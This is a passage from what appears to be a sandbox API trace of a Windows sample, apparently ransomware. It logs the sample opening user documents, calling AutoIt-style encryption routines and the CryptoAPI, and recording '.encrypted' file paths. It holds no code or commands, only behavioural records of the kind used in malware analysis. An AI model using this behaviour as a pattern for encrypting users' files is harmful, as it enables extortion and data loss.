lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.879] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.879] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.879] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.879] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.879] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.879] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.879] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.879] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.879] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.879] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.880] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.880] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.880] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.880] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.880] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.880] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.880] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.880] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.880] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.880] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.881] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.881] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.881] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.881] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.881] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.881] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.882] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.882] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.882] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5728) returned 1 [0025.882] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.882] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.882] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.882] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1660, lpOverlapped=0x0) returned 1 [0025.882] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.882] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1660, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.882] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5728) returned 1 [0025.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\VLxre2epCIJ.encrypted.xlsx\r\n", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0025.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\VLxre2epCIJ.encrypted.xlsx\r\n", cchWideChar=60, lpMultiByteStr=0xe8f4052080, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\VLxre2epCIJ.encrypted.xlsx\r\n", lpUsedDefaultChar=0x0) returned 60 [0025.883] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4051fe0*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051fe0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3b, lpOverlapped=0x0) returned 1 [0025.883] CloseHandle (hObject=0x188) returned 1 [0025.884] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.884] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.885] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.885] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.885] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.885] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.885] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.885] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.886] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178580, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.886] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.886] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\XfT-x_yFlDeI9HE.pptx", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0025.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\XfT-x_yFlDeI9HE.pptx", cchWideChar=52, lpMultiByteStr=0xe8f404c090, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\XfT-x_yFlDeI9HE.pptx", lpUsedDefaultChar=0x0) returned 52 [0025.887] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\XfT-x_yFlDeI9HE.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\xft-x_yfldei9he.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=52, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0025.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=52, lpWideCharStr=0xe8f4062330, cchWideChar=52 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\XfT-x_yFlDeI9HE.pptx") returned 52 [0025.888] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.888] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.888] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.888] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.889] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178400, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.889] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.889] CloseHandle (hObject=0x188) returned 1 [0025.889] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.889] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.889] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.889] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.889] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.889] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.889] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.889] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.889] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.889] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.890] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.890] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.890] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.890] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.890] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.890] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.890] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.891] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.891] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.891] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.891] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.891] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.891] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.891] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.891] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.892] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.892] PeekMessageW (in: 